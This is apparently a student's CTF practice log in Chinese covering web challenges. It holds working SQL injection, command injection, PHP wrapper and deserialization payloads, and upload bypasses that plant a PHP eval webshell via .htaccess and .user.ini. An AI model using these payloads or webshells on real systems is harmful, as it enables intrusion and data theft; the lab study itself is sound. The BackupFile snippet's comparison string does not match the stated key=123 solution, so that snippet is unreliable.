做题太少了之前想着开个文章督促一下自己 没想到依旧是进度缓慢哈>-<

[ACTF2020 新生赛]Include

image-20250509192612579

思路只到可以访问敏感文件 想到要用文件包含

php伪协议

支持伪协议的函数(文件包含函数)

1
2
3
4
include();引入了一个其他文件到include所在的那个文件里面 源码中有include函数 可以理解为传入的参数可以在后台被成功运行
include_once();
require();
require_once();

php:// 开头,后面跟着一些参数,用于指定 要执行的操作需要访问的资源php://filter 的主要作用是提供一种机制,让您可以轻松地 在数据流上应用一个或多个过滤器

基本格式php://filter/read=?/resource=?

php://filter是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,作用是作为一个“中间流”来处理其他流。php://filter目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。是php提供的一个伪协议

image-20250509193856043

?a=php://filter/read=convert.base64-encode/resource=../1.php(php伪协议可以理解为是一段可以读取php文件内容的代码)

convert.base64-encode—–是一个过滤器 将通过该伪协议得到的资源数据进行base64编码处理

resource————————-用来指定要操作的目标资源 也就是要读取的文件

base64编码的一个特点是后面有=

[ACTF2020新生赛]Exec

考的是命令注入

1
2
3
4
5
6
7
8
9
10
11
12
13
一些知识点
1、命令注入我们要防备其对于一些符号的过滤导致我们不能成功注入,所以我们要多了解一些符号。
2、;直接分号分隔
管道符:作用和&一样。前面和后面命令都要执行,无论前面真假
3、| 按位或
作用是直接执行|后面的语句
4、|| 逻辑或
作用是如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
5、& 按位与
&前面和后面命令都要执行,无论前面真假
6、&& 逻辑与
如果前面为假,后面的命令就不执行,如果前面为真则再执行后面命令,这样两条命令都会被执行

简单的命令注入 不存在什么过滤 直接ping一个127.0.0.1;ls发现没有过滤; 尝试在本机地址之后加上命令 比如ls

跨一些目录 ../../../../查看之后发现有flag文件 cat直接读取

[GXYCTF2019]Ping Ping Ping

这个过滤的东西好像变多了 不能直接cat

首先cat flag.php 发现空格被过滤了

image-20250513200819143

?ip=127.0.0.1;cat$IFS$9ls

反引号的作用:把反引号里面内容的输出当作输入来执行

注意一下回显之后没有内容 看一眼源代码里面的注释信息

[SUCTF 2019]EasySQL

堆叠注入

1’; show databases;

大概就是在一个分号后面再加上命令堆叠执行

sql_mode 是 MySQL 中的一个重要系统变量,它定义了 MySQL 应该如何解析和执行 SQL 语句,影响着 SQL 语法的使用规则、数据的处理方式等

语句为set sql_mode=PIPES_AS_CONCAT

当启用 PIPES_AS_CONCAT 模式后,MySQL 会将 || 解释为字符串连接操作符,与 Oracle 和 PostgreSQL 保持一致

1;set sql_mode=PIPES_AS_CONCAT;select 1

*;1(两种解法)

其实不是很懂什么意思

[极客大挑战 2019]LoveSQL

比较普通的sql注入题目

刚开始登陆的时候用万能密码1’ or ‘1’=1–+ 不能成功登录 注释符必须是#

image-20250519183922484

  • MySQL:两种都可用,但 --+ 更保险(防止部分配置下 -- 后无空格报错)。

  • PostgreSQL/SQLite:推荐使用 #,更符合语法习惯。

    这道题只能用#

    [极客大挑战 2019]Secret File

    我的思路是到了这里 感觉后面应该是越权访问上级目录

image-20250519185422144

image-20250519185523296

其实不是=-= 没啥思路抓包看到有隐藏的php文件(就是在注释里面 但是需要到repeter里send才能看到所以一开始没找到)

image-20250520181210127

php代码审计

image-20250520182611626

image-20250520182457455

[强网杯 2019]随便注

select一被禁用,联合查询,报错注入,布尔,时间盲注就都不可以使用了。我们只剩下了堆叠注入。

?inject=1’; show columns from words– q

关于在这里使用 ` 而不是 ’ 的一些解释:

两者在linux下和windows下不同,linux下不区分,windows下区分。

单引号 ’ 或双引号主要用于 字符串的引用符号

反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)

有MYSQL保留字作为字段的,必须加上反引号来区分!!!

如果是数值,请不要使用引号 表名是纯数字需要用反引号包裹

1
2
3
4
5
1';
SET @a = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
PREPARE execsql FROM @a;
EXECUTE execsql;
#

image-20250723100225889

堆叠注入查表名

image-20250723100248128

查列名

image-20250723100329716

注意数字需要用反引号括起来

image-20250723100358543

看到flag的位置了

  • 1’;handler 1919810931114514 open;handler 1919810931114514 read first;handler 1919810931114514 close;#

[极客大挑战 2019]Upload

phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析

GIF89a?幻术头

在一些文件上传场景中,服务器可能会检查文件的类型。如果需要上传非图片类型的文件(如包含代码的脚本文件),但服务器限制只能上传图片文件,可以在文件开头添加 GIF89a 这个文件头,将文件伪装成 GIF 图片,以绕过简单的文件类型检查

[ACTF2020 新生赛]Upload

image-20250527175846341

找到了文件上传路径蚁剑连接不上 有./考虑到目录穿越 下一步卡住的

还是前面的phtml 抓包改后缀为php会限制所以前端后端都有检验

PHTML 是一种文件扩展名,主要用于将 PHP 代码嵌入到 HTML 文件中。它使得在 HTML 文件中使用 PHP 代码变得更加简单和易于维护。

写法:

写进去之后删除前端检验进行上传然后直接访问该phtml文件就能看到flag

[极客大挑战 2019]BabySQL

用的是双写绕过?username=1%27ununionion%20seselectlect%201,2,3%23&password=1

union/select都被过滤了(因为错误回显里输入进去的union什么的都没了所以知道是被替代成了空白)

这道题最明显的是双写绕过,然后我们需要去拼接双写语句达到绕过的目的,双写的方式也不一定是固定的,这道题在我们尝试的时候也会发现其实它也过滤好几个单词,有时候我们需要部分双写,也不需要整个单词双写,因为它不是整个单词都过滤

1’ ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=’geek’#

1’ ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=’b4bsql’#

1’ ununionion selselectect 1,2,group_concat(username,id,passwoorrd) frfromom geek.b4bsql#

#要url编码 因为#是个锚点可以跳转目录

这里不能用#注释!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[极客大挑战 2019]PHP

常见的网站源码备份文件后缀:

tar.gz,zip,rar,tar

常见的网站源码备份文件名:

web,website,backup,back,www,wwwroot,temp

php反序列化 学起来有点吃力 先放一下

[ACTF2020 新生赛]BackupFile

首先 这题目给了提示是备份文件

不知道为什么我的dirsearch扫描出来不高亮显示 试出来备份文件是index.php.bak

然后是个代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "bc1q3yz7qs5dvm3l249rjqg393qfjddzev37cp84e3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}


其实很容易看出来 让key=

image-20250528212915542

不知道为什么这里复制下来值不一样 涉及一个弱类型比较

在PHP中:
= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。
所以,这里的a = = b是返回True。
所以这里我们只需要提供一个参数?key=123就可以拿到flag了

[RoarCTF 2019]Easy Calc

先看源代码image-20250602183715495

image-20250602183756253

这里就是它直接将用户输入拼接到 URL 作为 GET 参数发送到后端的 calc.php

image-20250602185043744

分析一下:

首先需要传入num的值 然后这里限制了一些列的输入 如果有这些限制的输入就直接终止程序了

? num=1;var_dump(scandir(chr(47)))这里的num前面有个空格 具体为什么:

相当于构造了一个新的变量空格num 但是php解析的时候会先把空格给去掉然后再运行

PHP的字符串解析特性:

PHP在处理查询字符串时,会将其转换为内部关联数组,PHP会删除某些字符或将其替换为下划线。这种特性可以被利用来绕过一些安全防护措施

(这个就是这道题)

image-20250602221352603

image-20250604165940537

[极客大挑战 2019]BuyFlag

image-20250604171424950

代码中的注释信息存在一个弱比较

PHP 中,弱比较(Weak Comparison)即使用双等号 == 进行的比较,其核心特点是允许类型自动转换后再比较。

image-20250604173927228

这里有个要注意的 因为password和money都是post传参 在bp中使用要先用hackbar传参后抓包。这样数据包就是POST传参方式,如果直接在数据包里面把GET方式传参改为POST方式传参的话,可能依旧是GET方式传参,这点需要注意。

image-20250604174147140

这里提示输入的数据长度超过限制 思考这里怎么才能绕过这个长度限制

网上wp第一种是把1000000给换成科学计数法表示

image-20250604174848650

第二种是把money用数组来表示

经过给money参数分情况测试,有3种输出结果

  • 当 money => 100000000
    • 输出”Nember lenth is too long”
  • 当 money < 100000000
    • 输出”you have not enough money,loser”
  • 当 1e9 <= money <= 1e999999(说着当money变为数组时)
    • 输出”flag值”

猜测用到了函数strcmp()用来比较两个字符串,同时还可以比较两个字符串的字符数

strcmp(string1,string2)

  • 0 - 如果两个字符串相等
  • <0 - 如果 string1 小于 string2
  • 0 - 如果 string1 大于 string2

所以当过滤不当不全时,可以通过将参数变为数组的方式进行绕过,这样的话就无法比较,直接返回true

image-20250604175257614

[BJDCTF2020]Easy MD5

image-20250604184220507

select * from ‘admin’ where password=md5($pass,true)

php md5语法:

image-20250604184726097

32位16进制字符串的意思总的来说就是我们平时看到的MD5加密的结果
16位原始二进制格式的字符串的意思就是当md5函数的第二个参数为true时,该函数的输出是原始二进制格式,会被作为字符串处理。
注意这里为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。

首先我们要找到一个字符串,这个字符串经过md5得到的16位原始二进制的字符串能帮我们实现sql注入。首先or这个字符串是必要的,同时为了配对原先sql语句里面有的单引号,在or的两边要有单引号,使它变成 password=‘xxx’or‘xxx’ 的形式,所以我们需要的字符串的原始二进制格式的字符串里要包含 ‘or’

根据32位16进制的字符串来查找,根据上面介绍的, ‘or’ 对应的16进制是 276f7227 ,所以我们的目标就是要找一个字符串取32位16进制的md5值里带有276f7227这个字段的,接着就是要看关键的数字部分了,在276f7227这个字段后面紧跟一个数字,除了0,1-9,对应的asc码值是49-57,转化为16进制就是31-39,也就是我们需要有276f7227+(31-39)这个字段,就可以满足要求。比如xxxxxxxxxxxxxxxx276f7227(31-39)xxxxxx
答案可以用ffifdyop(这个算是一个万能密码)在md5中解析成了’or’1后面数字恒为真

image-20250604191443249

传入之后长这样

image-20250604191500174

源代码长这样

image-20250604191526191

这里也有两种方法

第一种采用数组传参 数组传参方式格式为num[]=w num为参数(例如本题的a) w为传入的值 最终传入的值如下?a[]=1&b[]=2 因为md5不能处理数组,md5 函数哈希数组会返回 NULL。从而达到两者相等进行绕过。

md5()函数的参数是数组时,PHP 会将其转换为字符串Array,并计算这个字符串的哈希值。但实际上,PHP 会直接返回NULL(而不是计算"Array"的 MD5)。无论数组内容如何,只要传入数组,md5()都会返回NULL

第二种方法,php 0e开头的数字会当做科学计数法解析,因此只要构造两组md5值开头为0e的值即可绕过。

原理是PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
?a=QNKCDZO&b=240610708

image-20250604192118202

image-20250604192735302

把代码丢给ai

=是赋值 ==是弱比较 ===强比较(数值与类型都要相同)

md5弱比较

  • 如果两个值类型不同,PHP 会尝试将它们转换为相同类型后再比较。
  • 字符串与数字比较时,字符串会被转换为数字。
  • 哈希值以0e开头时,PHP 会将其视为科学计数法,解释为0的若干次幂(即0

要需要找到真正的 MD5 碰撞(即两个不同的输入生成完全相同的 MD5 哈希)

image-20250604192813986

image-20250604193515533

[MRCTF2020]你传你🐎呢

image-20250625090414405

随便上传一个图片马 后面寻找上传路径 php无法上传

.htaccess文件内容:SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则则报错

反正我怎么上传都过不去 等回头再看

思路就是抓包修改mime 上传一个htaccess让png解析成php上传

1

[护网杯 2018]easy_tornado

模板注入类的题目 tornado是python的一个模板

服务端模板注入(SSTI)

Tornado 框架的模板注入漏洞:

比如你去餐厅点餐,服务员会把你的要求写在菜单模板上给厨房。正常情况下,菜单模板里的内容是固定的(比如 “菜名:番茄炒蛋”),但如果服务员没检查你的要求,你在点餐时故意写了句 “菜单后面加一行:送一份免费蛋糕”,厨房可能就真的按这个错误模板准备了。

在 Tornado 里,模板就像菜单,用户输入本该是 “正常菜名”,但如果开发者没过滤,用户输入了类似 “” 的内容,模板引擎会把它当成指令来执行(比如让服务器显示所有文件),这就是漏洞。攻击者通过这种方式能让服务器做很多危险的事,比如偷数据、删文件,就像用 “错误菜单” 让厨房干坏事一样。

render发现这提示我们是一个模板注入,然后需要拼接cookie_secret+md5(filename))并将其转成md5值。render是python的一个渲染函数,他们的url都是由filename和filehash组成,filehash即为他们filename的md5值。

image-20250625105626548

在模板注入漏洞(SSTI)中,攻击者可通过 {{ handler.settings }} 直接读取全局配置。 RequestHandlerApplication 的父子关联,以及 settings 属性的引用传递逻辑

找到cookie_secret为6e6e371d-7445-46db-8066-46e0e25c8b7a

buuctf-[ZJCTF 2019]NiZhuanSiWei

哎嘿直接从那边copy过来了 一模一样哒

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

file_get_contents函数

是 PHP 中用于将文件内容读入为字符串的函数,是文件读取中最常用的方法之一。

image-20250709151643425

所以在这里 将text读取字符串 同时还要和welcome to the zjctf一模一样

?text=data://text/plain,welcome%20to%20the%20zjctf

image-20250709151945249

成功绕过第一层过滤

然后继续往下看源代码 看到preg_match

preg_match() 是 PHP 中用于执行 正则表达式匹配 的函数 在这里只要我的$file包含flag就会被拒绝

所以只要不出现就能绕过了

image-20250709152829141

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&&file=php://filter/read=convert.base64-encode/resource=useless.php

=&和&&是一样效果

image-20250709155238105

好的然后把得到的这个(一看就是base64加密哈)我的网站解密出来有乱码image-20250709155900326

ai给我修复了一下是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class Flag { // flag.php
public $file;

public function __toString() {
if (isset($this->file)) {
echo file_get_contents($this->file) . "<br>";
}
return "U R SO CLOSE !///COME ON";
}

}
?>

只有一个tostring方法

把这串扔到ps里面加个序列化输出

image-20250709162303551

代码有提示flag.1php所以file等于flag.php 得到的东西传入到password 构造出最后的payload

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}

[MRCTF2020]Ez_bypass

这个看着不难

把格式恢复之后看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
include 'flag.php';
$flag = 'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';

if (isset($_GET['gg']) && isset($_GET['id'])) {
$id = $_GET['id'];
$gg = $_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if (isset($_POST['passwd'])) {
$passwd = $_POST['passwd'];
if (!is_numeric($passwd)) {
if ($passwd == 1234567) {
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
} else {
echo "can you think twice??";
}
} else {
echo 'You can not get it !';
}
} else {
die('only one way to get the flag');
}
} else {
echo "You are not a real hacker!";
}
} else {
die('Please input first');
}

image-20250715103629532

一共就两步绕过

1.一个md5的弱比较

2.passwd既不能是数字 结果还要等于1234567

if (!is_numeric($passwd)) { if($passwd==1234567)

首先第一步 给这两个参数两个典型的值 参考ez md5那道题

试了构造0e开头不行 然后试数组

image-20250715104827712

image-20250715104654660

ok第一步绕过完成

第二步这个if (!is_numeric($passwd)) { if($passwd==1234567) 是个弱比较 让passwd=1234567oo(后面的字母随便)

image-20250715105613770

[极客大挑战 2019]HardSQL

image-20250715152408623

常见的order union 输入进去都是别被逮到 应该是存在过滤

但是刚开始瞎试的时候 是有不同回显的

image-20250715153830902

爆破看一下都过滤了点什么

image-20250715154055749

单引号闭合

常见绕过等号

image-20250715155031098

image-20250715154417272

这里试了编码代替空格不行 老老实实用括号

1’or((1)like(1))#

image-20250715155101932

然后来想用什么注入 上面的爆破说明联合注入不能用(union)

测闭合的时候有报错信息 考虑报错注入 就是把所有空格和等号全都换了

来想一下报错注入

updatexml() 构造 XML 异常,MySQL >= 5.1
extractvalue() 从 XML 中提取路径,会产生错误
floor() 当参数非数字类型时产生错误

我这里用的是updatexml

1’or(updatexml(1,concat(0x7e,database(),0x7e),1))#

image-20250715155532966

拿到库名

1’or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e),1))#

image-20250715160511302

拿到表名

‘or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1))#

列名

image-20250715160624275

id username passwd

‘or(updatexml(1,concat(0x7e,(select(group_concat(username))from(H4rDsq1)),0x7e),1))#

image-20250715160726594

image-20250715160936373

flag{fb7d638d-01ab-4859-b378-0b

找password拿到前半段 后半段不显示是由于updatexml只显示32位 长度被限制

使用right()突破字符限制(reverse)

?’or(updatexml(1,concat(0x7e,right((select(group_concat(password))from(H4rDsq1)),30),0x7e),1))#

拿到后半段

d-01ab-4859-b378-0b0bb656d69f}

flag{fb7d638d-01ab-4859-b378-0b0bb656d69f}

reverse()

返回字符串的逆序字符串

1
SELECT REVERSE('abc123'); -- 结果:'321cba'

[网鼎杯 2020 青龙组]AreUSerialz

每天往这一坐就是代码审计

先把完整的贴出来然后再一步步看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();//调用了process
}

public function process() {
if ($this->op == "1") {
$this->write();
} else if ($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}//op=1就写 op=2就读

private function write() {
if (isset($this->filename) && isset($this->content)) {
if (strlen((string)$this->content) > 100) {//strlen检测输入的content的长度
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if ($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if (isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if ($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for ($i = 0; $i < strlen($s); $i++)
if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if (isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if (is_valid($str)) {
$obj = unserialize($str);
}

}
1
2
3
4
5
6
7
if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

1
2
3
4
5
6
function is_valid($s) {
for ($i = 0; $i < strlen($s); $i++)
if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

函数作用:

检查传入的字符串是否只包含 ASCII 范围内的「可打印字符」

要求每个字符 ord(c)32 到 125 之间,排除控制字符、换行符等,防止构造包含控制字符(如 \x00)的序列化字符串

整个逻辑不难 我们要触发的就是代码里面读的那个行为 用read的file_get_contents来读取flag的内容

image-20250716201649118

在构造的时候会发现 这个op他的属性是私有的 不能直接用

我直接给protected改成public了

image-20250716202627183

image-20250716202635485

看样子可以 然后就是查看flag.php的内容了

这里我用的filter伪协议

image-20250716203304713

image-20250716203256428

一看就是base64

image-20250716203413639

序列化后protected类型的属性存在不可打印字符。(经测试,private类型的属性序列化后也产生不可打印字符)对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。

[GXYCTF2019]BabyUpload

image-20250717092706097

随便上传可以发现 首先文件后缀不能是ph 其次文件类型得是image类型

到这步说有明显标识 只能出现在文件内容里了 试试看是过滤了哪个

image-20250717092940797

过滤了尖括号<

1
<script language='php'>eval($_POST[a]);</script>

一句话木马可以这么写

image-20250717100634748

上传成功之后 尝试去看路径

image-20250717100723537

可以了我的脑子就到这里了

image-20250717100948577

再传一个.htaccess(只适用于Apache服务器 ) 为什么?因为你去访问upload会有个报错界面 里面提示用的是阿帕奇

当.htaccess文件被放置在一个 “通过Apache Web服务器加载 “的目录中时,.htaccess文件会被ApacheWeb服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用ApacheWeb服务器软件所提供的额外功能和特性。
image-20250717101227599

然后去访问上传的jpg 可以看到应该就没问题了 yijian连接试一下

image-20250717101620654

杀人了

密码写错了

image-20250717101940914

[SUCTF 2019]CheckIn

image-20250717144825597

GIF87a加个图片拓展头试试

image-20250717145646916

不理解为什么bp抓包改内容就不行 卡了好久

然后我们现在就把图片马给传上去了 想办法让他变成php文件来解析

其实一共就两种方法了(maybe 也可能是我孤陋寡闻)

1..htaccess

2.user.ini

image-20250717151448265

image-20250717151511228

看报错不是阿帕奇 考虑user.ini

注意到这里本来在目录下就有一个index.php

补充一下

一些关于user.ini的知识

.user.ini文件构成的PHP后门 - phith0n

摘了一些重要的放下来

.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

在哪些情况下可以用到这个姿势? 比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。 再比如,你只是想隐藏个后门,这个方式是最方便的。

首先先说一下.php.ini文件

该文件可以设置一些php的配置,有些重要必须要在这里面设置

但是有些不怎么重要的可以在 .user.ini设置

其中有一个配置可以利用

1
2
auto_prepend_file=1.php
auto_append_file=2.php

这是一个当前目录下的全局文件包含,例如我们想这一个文件里包含1.php

一般会在文件文件开头写上

1
include './1.php';   //require

但是对于几百个文件想一次性包含同一个文件,就可以用.user.ini

1
2
auto_prepend_file=1.php    //是所有文件开头包含1.php
auto_append_file=2.php //是所有文件尾包含1.php

这样我们可以上传png格式后门,在将他包含到当前目录下所有的php文件中

这也就是虽然我们没法上传php,但是默认给了个空白php文件的原因

image-20250717152419959

记得加幻术头

image-20250717152619122

上传之后去访问index.php

image-20250717152810504

杀人了

先传木马再传user.ini 这样的话你去访问index.php的时候就会包含着你上传的木马

注意别给环境干过期了还在连

image-20250717154532295

[GXYCTF2019]BabySQli

image-20250721145928329

先简单爆破试了一下 无事发生

image-20250721150027380

抓包看到有注释的某种编码

电脑复制粘贴出来结果不一样 编解码出不来 看网上wp说是一个二次加密 先base32再base64 解出来是

select * from user where username = ‘$name’

这样的一段sql查询语句

然后去猜这道题的注入类型

image-20250721152720617

单引号闭合

继续尝试万能密码

image-20250721152836244

看的出来or被过滤了

可以确定的是用户名是admin 并且后端对password还是有验证的

order by知道有三个字段

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<!--MMZFM422K5HDASKDN5TBh44uss7DrXpK46kRZHyqqZdKY1CU7S7hSSCWPJNFQSTBh44uss7DrXpK46kRZHyqqZdKY1CU7S7h-->

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>

<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}

$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);

}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}

?>




if(md5($password) == $arr[2]){
echo $flag;

重点在这一步

这里对password的验证时是先将我们提交的password进行md5加密,然后和数据库返回的密码进行比较

因为md5不能处理数组 有数组会返回null

所以

name=1’ union select 1,’admin’,NULL#&pw[]=1

image-20250721154404645

【HITCON 2017】SSRFme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);

#sandbox/50d5f583d8a911dde39156ba3f03c3d5
@mkdir($sandbox);
@chdir($sandbox); #更改当前工作目录

$data = shell_exec("GET " . escapeshellarg($_GET["url"])); #escapeshellarg转义危险字符
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

每天往这一坐就是代码审计

返回了我自己的ip然后又与orange进行拼接形成一个新的ip 并且进行md5加密

之后调用GET来执行从url中获取到的参数 然后把GET获取到的结果写入到filename中我们新建的文件中

我的思路到这里就结束了

然后去网上看博客 看不懂。。。。。。。。。。。。。。。。。。。。。。。。。。。

我不理解为什么我的没有回显

用的一个非预期出来的

由于文件中存在file_put_contents,我们考虑伪协议上传一句话木马

1
?url=data://text/plain,<?php eval($_POST[1]);?>&filename=flag.php

然后用yijian连接

image-20250717183120957

这个点进去

是乱码!!!!!!!!!!!!!!!!!1

image-20250717183218114

用命令行打开读取!!

image-20250717183231054

flag{8d242a3b-d4e0-457a-9d6e-e1f65a44f512}

好的我们来看一下标准解法

结合上面代码审计得到的 就是我输入的url会被存到filename的那个文件里面

所以构造?url=/&filename=aaa(name等于什么都可以 就是一个文件夹的命名)

然后访问的时候要注意 因为是存在那个沙盒里面的 沙盒的路径是orange和地址的md5加密值

拼接之后去访问路径

image-20250717200831211

ok能看到这两个文件里都有flag 下一步就是考虑怎么样去读取内容了

image-20250717201843216

没懂为什么这样构造哈

[MRCTF2020]Ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}

}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}

}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}


先放放。。

[GYCTF2020]Blacklist

image-20250723093344384

image-20250723093401559

单引号闭合

image-20250723093734307

这些都是被禁用的

被禁用的比较多 尝试一下堆叠注入

1’;show databases;

1’;show tables;#

image-20250723095016525

可以 那这道题考的应该就是堆叠注入了

1’;show columns from FlagHere;

image-20250723095117740

payload是这样的

1
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

这个点没碰到过

MySQL :: MySQL 8.0 参考手册 :: 15.2.5 HANDLER 语句

官方文档

wp说这个题和强网杯的随便注很像 当时那道题复现就没看懂。。

handler代替selectselect命令被过滤了怎么办?我们还可以用handler命令进行查看,handler命令可以一行一行的显示数据表中的内容

handler命令查询规则

handler table_name open;handler table_name read first;handler table_name close;
handler table_name open;handler table_name read next;handler table_name close;

如何理解?

  • 首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。
  • 首先打开数据库,开始循环读取,读取成功后进行关闭操作。

同样的方法强网杯那道题也可以解决

组会的东西

image-20250514214409000

